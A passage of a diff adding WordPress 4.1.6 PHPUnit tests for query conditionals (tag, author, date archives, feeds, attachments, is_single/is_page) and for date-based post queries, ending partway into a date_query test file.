+		foreach ( $post_ids as $post_id )
+			$this->factory->term->add_post_terms( $post_id, 'tag-a', 'post_tag' );
+		$this->go_to('/tag/tag-a/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_tag', 'is_paged');
+	}
+
+	// 'tag/(.+?)/?$' => 'index.php?tag=$matches[1]',
+	function test_tag() {
+		$term_id = $this->factory->term->create( array( 'name' => 'Tag Named A', 'slug' => 'tag-a', 'taxonomy' => 'post_tag' ) );
+		$this->go_to('/tag/tag-a/');
+		$this->assertQueryTrue('is_archive', 'is_tag');
+
+		$tag = get_term( $term_id, 'post_tag' );
+
+		$this->assertTrue( is_tag() );
+		$this->assertTrue( is_tag( $tag->name ) );
+		$this->assertTrue( is_tag( $tag->slug ) );
+		$this->assertTrue( is_tag( $tag->term_id ) );
+		$this->assertTrue( is_tag( array() ) );
+		$this->assertTrue( is_tag( array( $tag->name ) ) );
+		$this->assertTrue( is_tag( array( $tag->slug ) ) );
+		$this->assertTrue( is_tag( array( $tag->term_id ) ) );
+	}
+
+	// 'author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?author_name=$matches[1]&feed=$matches[2]',
+	// 'author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?author_name=$matches[1]&feed=$matches[2]',
+	function test_author_feed() {
+		$this->factory->user->create( array( 'user_login' => 'user-a' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/author/user-a/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_author');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/author/user-a/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_author');
+		}
+	}
+
+	// 'author/([^/]+)/page/?([0-9]{1,})/?$' => 'index.php?author_name=$matches[1]&paged=$matches[2]',
+	function test_author_paged() {
+		$user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+		$this->factory->post->create_many( 10, array( 'post_author' => $user_id ) );
+		$this->go_to('/author/user-a/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_author', 'is_paged');
+	}
+
+	// 'author/([^/]+)/?$' => 'index.php?author_name=$matches[1]',
+	function test_author() {
+		$user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+		$this->factory->post->create( array( 'post_author' => $user_id ) );
+		$this->go_to('/author/user-a/');
+		$this->assertQueryTrue('is_archive', 'is_author');
+	}
+
+	function test_author_with_no_posts() {
+		$user_id = $this->factory->user->create( array( 'user_login' => 'user-a' ) );
+		$this->go_to('/author/user-a/');
+		$this->assertQueryTrue('is_archive', 'is_author');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]',
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]',
+	function test_ymd_feed() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/09/04/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_day', 'is_date');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/09/04/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_day', 'is_date');
+		}
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]',
+	function test_ymd_paged() {
+		$this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/09/04/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_day', 'is_date', 'is_paged');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]',
+	function test_ymd() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/09/04/');
+		$this->assertQueryTrue('is_archive', 'is_day', 'is_date');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]',
+	// '([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]',
+	function test_ym_feed() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/09/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_month', 'is_date');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/09/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_month', 'is_date');
+		}
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]',
+	function test_ym_paged() {
+		$this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/09/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_date', 'is_month', 'is_paged');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]',
+	function test_ym() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/09/');
+		$this->assertQueryTrue('is_archive', 'is_date', 'is_month');
+	}
+
+	// '([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&feed=$matches[2]',
+	// '([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&feed=$matches[2]',
+	function test_y_feed() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		// check the long form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/feed/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_year', 'is_date');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("/2007/{$type}");
+				$this->assertQueryTrue('is_archive', 'is_feed', 'is_year', 'is_date');
+		}
+	}
+
+	// '([0-9]{4})/page/?([0-9]{1,})/?$' => 'index.php?year=$matches[1]&paged=$matches[2]',
+	function test_y_paged() {
+		$this->factory->post->create_many( 10, array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/page/2/');
+		$this->assertQueryTrue('is_archive', 'is_date', 'is_year', 'is_paged');
+	}
+
+	// '([0-9]{4})/?$' => 'index.php?year=$matches[1]',
+	function test_y() {
+		$this->factory->post->create( array( 'post_date' => '2007-09-04 00:00:00' ) );
+		$this->go_to('/2007/');
+		$this->assertQueryTrue('is_archive', 'is_date', 'is_year');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&tb=1',
+	function test_post_trackback() {
+		$post_id = $this->factory->post->create();
+		$permalink = get_permalink( $post_id );
+		$this->go_to("{$permalink}trackback/");
+		$this->assertQueryTrue('is_single', 'is_singular', 'is_trackback');
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]',
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]',
+	function test_post_comment_feed() {
+		$post_id = $this->factory->post->create();
+		$permalink = get_permalink( $post_id );
+
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("{$permalink}feed/{$type}");
+				$this->assertQueryTrue('is_single', 'is_singular', 'is_feed', 'is_comment_feed');
+		}
+
+		// check the short form
+		$types = array('feed', 'rdf', 'rss', 'rss2', 'atom');
+		foreach ($types as $type) {
+				$this->go_to("{$permalink}{$type}");
+				$this->assertQueryTrue('is_single', 'is_singular', 'is_feed', 'is_comment_feed');
+		}
+	}
+
+	// '([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(/[0-9]+)?/?$' => 'index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&page=$matches[5]',
+	function test_post_paged_short() {
+		$post_id = $this->factory->post->create( array(
+			'post_date' => '2007-09-04 00:00:00',
+			'post_title' => 'a-post-with-multiple-pages',
+			'post_content' => 'Page 1 <!--nextpage--> Page 2'
+		) );
+		$this->go_to( get_permalink( $post_id ) . '2/' );
+		// should is_paged be true also?
+		$this->assertQueryTrue('is_single', 'is_singular');
+
+	}
+
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+	function test_post_attachment() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'attachment' ) );
+		$permalink = get_attachment_link( $post_id );
+		$this->go_to($permalink);
+		$this->assertQueryTrue('is_single', 'is_attachment', 'is_singular');
+	}
+
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$' => 'index.php?attachment=$matches[1]',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$' => 'index.php?attachment=$matches[1]&tb=1',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+	// '[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$' => 'index.php?attachment=$matches[1]&feed=$matches[2]',
+
+	/**
+	 * @expectedIncorrectUsage WP_Date_Query
+	 */
+	function test_bad_dates() {
+		$this->go_to( '/2013/13/13/' );
+		$this->assertQueryTrue( 'is_404' );
+
+		$this->go_to( '/2013/11/41/' );
+		$this->assertQueryTrue( 'is_404' );
+	}
+
+	function test_post_type_archive_with_tax_query() {
+		delete_option( 'rewrite_rules' );
+
+		$cpt_name = 'ptawtq';
+		register_post_type( $cpt_name, array(
+			'taxonomies' => array( 'post_tag', 'category' ),
+			'rewrite' => true,
+			'has_archive' => true,
+			'public' => true
+		) );
+
+		$tag_id = $this->factory->tag->create( array( 'slug' => 'tag-slug' ) );
+		$post_id = $this->factory->post->create( array( 'post_type' => $cpt_name ) );
+		wp_set_object_terms( $post_id, $tag_id, 'post_tag' );
+
+		$this->go_to( '/ptawtq/' );
+		$this->assertQueryTrue( 'is_post_type_archive', 'is_archive' );
+		$this->assertEquals( get_queried_object(), get_post_type_object( $cpt_name ) );
+
+		add_action( 'pre_get_posts', array( $this, 'pre_get_posts_with_tax_query' ) );
+
+		$this->go_to( '/ptawtq/' );
+		$this->assertQueryTrue( 'is_post_type_archive', 'is_archive' );
+		$this->assertEquals( get_queried_object(), get_post_type_object( $cpt_name ) );
+
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_with_tax_query' ) );
+	}
+
+	function pre_get_posts_with_tax_query( &$query ) {
+		$term = get_term_by( 'slug', 'tag-slug', 'post_tag' );
+		$query->set( 'tax_query', array(
+			array( 'taxonomy' => 'post_tag', 'field' => 'term_id', 'terms' => $term->term_id )
+		) );
+	}
+
+	function test_post_type_array() {
+		delete_option( 'rewrite_rules' );
+
+		$cpt_name = 'thearray';
+		register_post_type( $cpt_name, array(
+			'taxonomies' => array( 'post_tag', 'category' ),
+			'rewrite' => true,
+			'has_archive' => true,
+			'public' => true
+		) );
+		$this->factory->post->create( array( 'post_type' => $cpt_name ) );
+
+		$this->go_to( "/$cpt_name/" );
+		$this->assertQueryTrue( 'is_post_type_archive', 'is_archive' );
+		$this->assertEquals( get_queried_object(), get_post_type_object( $cpt_name ) );
+
+		add_action( 'pre_get_posts', array( $this, 'pre_get_posts_with_type_array' ) );
+
+		$this->go_to( "/$cpt_name/" );
+		$this->assertQueryTrue( 'is_post_type_archive', 'is_archive' );
+		$this->assertEquals( get_queried_object(), get_post_type_object( 'post' ) );
+
+		remove_action( 'pre_get_posts', array( $this, 'pre_get_posts_with_type_array' ) );
+	}
+
+	function pre_get_posts_with_type_array( &$query ) {
+		$query->set( 'post_type', array( 'post', 'thearray' ) );
+	}
+
+	function test_is_single() {
+		$post_id = $this->factory->post->create();
+		$this->go_to( "/?p=$post_id" );
+
+		$post = get_queried_object();
+		$q = $GLOBALS['wp_query'];
+
+		$this->assertTrue( is_single() );
+		$this->assertTrue( $q->is_single );
+		$this->assertFalse( $q->is_page );
+		$this->assertFalse( $q->is_attachment );
+		$this->assertTrue( is_single( $post ) );
+		$this->assertTrue( is_single( $post->ID ) );
+		$this->assertTrue( is_single( $post->post_title ) );
+		$this->assertTrue( is_single( $post->post_name ) );
+	}
+
+	/**
+	 * @ticket 16802
+	 */
+	function test_is_single_with_parent() {
+		// Use custom hierarchical post type
+		$post_type = 'test_hierarchical';
+
+		register_post_type( $post_type, array(
+			'hierarchical' => true,
+			'rewrite'      => true,
+			'has_archive'  => true,
+			'public'       => true
+		) );
+
+		// Create parent and child posts
+		$parent_id = $this->factory->post->create( array(
+			'post_type' => $post_type,
+			'post_name' => 'foo'
+		) );
+
+		$post_id = $this->factory->post->create( array(
+			'post_type'   => $post_type,
+			'post_name'   => 'bar',
+			'post_parent' => $parent_id
+		) );
+
+		// Tests
+		$this->go_to( "/?p=$post_id&post_type=$post_type" );
+
+		$post = get_queried_object();
+		$q = $GLOBALS['wp_query'];
+
+		$this->assertTrue( is_single() );
+		$this->assertFalse( $q->is_page );
+		$this->assertTrue( $q->is_single );
+		$this->assertFalse( $q->is_attachment );
+		$this->assertTrue( is_single( $post ) );
+		$this->assertTrue( is_single( $post->ID ) );
+		$this->assertTrue( is_single( $post->post_title ) );
+		$this->assertTrue( is_single( $post->post_name ) );
+		$this->assertTrue( is_single( 'foo/bar' ) );
+		$this->assertFalse( is_single( $parent_id ) );
+		$this->assertFalse( is_single( 'foo/bar/baz' ) );
+		$this->assertFalse( is_single( 'bar/bar' ) );
+		$this->assertFalse( is_single( 'foo' ) );
+	}
+
+	function test_is_page() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+		$this->go_to( "/?page_id=$post_id" );
+
+		$post = get_queried_object();
+		$q = $GLOBALS['wp_query'];
+
+		$this->assertTrue( is_page() );
+		$this->assertFalse( $q->is_single );
+		$this->assertTrue( $q->is_page );
+		$this->assertFalse( $q->is_attachment );
+		$this->assertTrue( is_page( $post ) );
+		$this->assertTrue( is_page( $post->ID ) );
+		$this->assertTrue( is_page( $post->post_title ) );
+		$this->assertTrue( is_page( $post->post_name ) );
+	}
+
+	/**
+	 * @ticket 16802
+	 */
+	function test_is_page_with_parent() {
+		$parent_id = $this->factory->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+		$post_id = $this->factory->post->create( array(
+			'post_type'   => 'page',
+			'post_name'   => 'bar',
+			'post_parent' => $parent_id,
+		) );
+		$this->go_to( "/?page_id=$post_id" );
+
+		$post = get_queried_object();
+		$q = $GLOBALS['wp_query'];
+
+		$this->assertTrue( is_page() );
+		$this->assertFalse( $q->is_single );
+		$this->assertTrue( $q->is_page );
+		$this->assertFalse( $q->is_attachment );
+		$this->assertTrue( is_page( $post ) );
+		$this->assertTrue( is_page( $post->ID ) );
+		$this->assertTrue( is_page( $post->post_title ) );
+		$this->assertTrue( is_page( $post->post_name ) );
+		$this->assertTrue( is_page( 'foo/bar' ) );
+		$this->assertFalse( is_page( $parent_id ) );
+		$this->assertFalse( is_page( 'foo/bar/baz' ) );
+		$this->assertFalse( is_page( 'bar/bar' ) );
+		$this->assertFalse( is_page( 'foo' ) );
+	}
+
+	function test_is_attachment() {
+		$post_id = $this->factory->post->create( array( 'post_type' => 'attachment' ) );
+		$this->go_to( "/?attachment_id=$post_id" );
+
+		$post = get_queried_object();
+		$q = $GLOBALS['wp_query'];
+
+		$this->assertTrue( is_attachment() );
+		$this->assertTrue( is_single() );
+		$this->assertTrue( $q->is_attachment );
+		$this->assertTrue( $q->is_single );
+		$this->assertFalse( $q->is_page );
+		$this->assertTrue( is_attachment( $post ) );
+		$this->assertTrue( is_attachment( $post->ID ) );
+		$this->assertTrue( is_attachment( $post->post_title ) );
+		$this->assertTrue( is_attachment( $post->post_name ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/date.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/date.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/date.php	(revision 33402)
@@ -0,0 +1,394 @@
+<?php
+
+/**
+ * Tests to make sure querying posts based on various date parameters works as expected.
+ *
+ * @group query
+ * @group date
+ */
+class Tests_Query_Date extends WP_UnitTestCase {
+
+	public $q;
+
+	static $post_ids = array();
+
+	public static function setUpBeforeClass() {
+		// Be careful modifying this. Tests are coded to expect this exact sample data.
+		$post_dates = array(
+			'1972-05-24 14:53:45',
+			'1984-07-28 19:28:56',
+			'2003-05-27 22:45:07',
+			'2004-01-03 08:54:10',
+			'2004-05-22 12:34:12',
+			'2005-02-17 00:00:15',
+			'2005-12-31 23:59:20',
+			'2007-01-22 03:49:21',
+			'2007-05-16 17:32:22',
+			'2007-09-24 07:17:23',
+			'2008-03-29 09:04:25',
+			'2008-07-15 11:32:26',
+			'2008-12-10 13:06:27',
+			'2009-06-11 21:30:28',
+			'2009-12-18 10:42:29',
+			'2010-06-17 17:09:30',
+			'2011-02-23 12:12:31',
+			'2011-07-04 01:56:32',
+			'2011-12-12 16:39:33',
+			'2012-06-13 14:03:34',
+			'2025-04-20 10:13:00',
+			'2025-04-20 10:13:01',
+			'2025-05-20 10:13:01',
+		);
+
+		$factory = new WP_UnitTest_Factory;
+
+		foreach ( $post_dates as $post_date ) {
+			self::$post_ids[] = $factory->post->create( array( 'post_date' => $post_date ) );
+		}
+
+		self::commit_transaction();
+	}
+
+	public static function tearDownAfterClass() {
+		foreach ( self::$post_ids as $post_id ) {
+			wp_delete_post( $post_id, true );
+		}
+
+		self::commit_transaction();
+	}
+
+	public function setUp() {
+		parent::setUp();
+		unset( $this->q );
+		$this->q = new WP_Query();
+	}
+
+	public function _get_query_result( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'post_status'    => 'any', // For the future post
+			'posts_per_page' => '-1',  // To make sure results are accurate
+			'orderby'        => 'ID',  // Same order they were created
+			'order'          => 'ASC',
+		) );
+
+		return $this->q->query( $args );
+	}
+
+	public function test_simple_year_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'year' => 2008,
+		) );
+
+		$expected_dates = array(
+			'2008-03-29 09:04:25',
+			'2008-07-15 11:32:26',
+			'2008-12-10 13:06:27',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_year_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'year' => 2000,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_m_with_year_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '2007',
+		) );
+
+		$expected_dates = array(
+			'2007-01-22 03:49:21',
+			'2007-05-16 17:32:22',
+			'2007-09-24 07:17:23',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_m_with_year_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '1999',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_m_with_yearmonth_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '202504',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+			'2025-04-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_m_with_yearmonth_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '202502',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_m_with_yearmonthday_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '20250420',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+			'2025-04-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_m_with_yearmonthday_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '20250419',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_m_with_yearmonthdayhour_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '2025042010',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+			'2025-04-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_m_with_yearmonthdayhour_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '2025042009',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminute_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '202504201013',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+			'2025-04-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminute_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '202504201012',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminutesecond_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '20250420101301',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminutesecond_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'm' => '20250420101302',
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminutesecond_and_dashes_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => '2025-04-20 10:13:00',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	/**
+	 * @ticket 24884
+	 */
+	public function test_simple_m_with_yearmonthdayhourminutesecond_and_dashesletters_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'm' => 'alpha2025-04-20 10:13:00',
+		) );
+
+		$expected_dates = array(
+			'2025-04-20 10:13:00',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_monthnum_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'monthnum' => 5,
+		) );
+
+		$expected_dates = array(
+			'1972-05-24 14:53:45',
+			'2003-05-27 22:45:07',
+			'2004-05-22 12:34:12',
+			'2007-05-16 17:32:22',
+			'2025-05-20 10:13:01',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_monthnum_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'monthnum' => 8,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_w_as_in_week_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'w' => 24,
+		) );
+
+		$expected_dates = array(
+			'2009-06-11 21:30:28',
+			'2010-06-17 17:09:30',
+			'2012-06-13 14:03:34',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_w_as_in_week_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'w' => 2,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_day_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'day' => 22,
+		) );
+
+		$expected_dates = array(
+			'2004-05-22 12:34:12',
+			'2007-01-22 03:49:21',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_day_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'day' => 30,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_hour_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'hour' => 21,
+		) );
+
+		$expected_dates = array(
+			'2009-06-11 21:30:28',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_hour_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'hour' => 2,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_minute_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'minute' => 32,
+		) );
+
+		$expected_dates = array(
+			'2007-05-16 17:32:22',
+			'2008-07-15 11:32:26',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_minute_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'minute' => 1,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+
+	public function test_simple_second_expecting_results() {
+		$posts = $this->_get_query_result( array(
+			'second' => 30,
+		) );
+
+		$expected_dates = array(
+			'2010-06-17 17:09:30',
+		);
+
+		$this->assertEquals( $expected_dates, wp_list_pluck( $posts, 'post_date' ) );
+	}
+
+	public function test_simple_second_expecting_noresults() {
+		$posts = $this->_get_query_result( array(
+			'second' => 50,
+		) );
+
+		$this->assertCount( 0, $posts );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/query/dateQuery.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/query/dateQuery.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/query/dateQuery.php	(revision 33402)
@@ -0,0 +1,1009 @@
+<?php
+
+/**
+ * Tests to make sure querying posts based on various date parameters using "date_query" works as expected.
+ *
+ * @ticket 18694
+ *
+ * @group query
+ * @group date
+ * @group datequery
+ */
+class Tests_Query_DateQuery extends WP_UnitTestCase {
+
+	public $q;
+
+	public function setUp() {
+		parent::setUp();
+		unset( $this->q );
+		$this->q = new WP_Query();
+	}
+
+	public function _get_query_result( $args = array() ) {
+		$args = wp_parse_args( $args, array(
+			'post_status'            => 'any', // For the future post
+			'posts_per_page'         => '-1',  // To make sure results are accurate
+			'orderby'                => 'ID',  // Same order they were created
+			'order'                  => 'ASC',
+			'update_post_meta_cache' => false,
+			'update_post_term_cache' => false,
+		) );
+
+		return $this->q->query( $args );
+	}
+
+	public function test_date_query_before_array() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2007-09-24 07:17:23',) );
+		$p2 = $this->factory->post->create( array( 'post_date' => '2008-03-29 07:17:23',) );
+		$p3 = $this->factory->post->create( array( 'post_date' => '2008-07-15 07:17:23',) );
+		$p4 = $this->factory->post->create( array( 'post_date' => '2009-06-11 07:17:23',) );
+
+		$posts = $this->_get_query_result( array(
+			'date_query' => array(
+				array(
+					'before' => array(
+						'year' => 2008,
+						'month' => 6,
+					),
+				),
+			),
+		) );
+
+		$this->assertEqualSets( array( $p1, $p2 ), wp_list_pluck( $posts, 'ID' ) );
+	}
+
+	/**
+	 * Specifically tests to make sure values are defaulting to
+	 * their minimum values when being used with "before".
+	 */
+	public function test_date_query_before_array_test_defaulting() {
+		$p1 = $this->factory->post->create( array( 'post_date' => '2007-09-24 07:17:23',) );
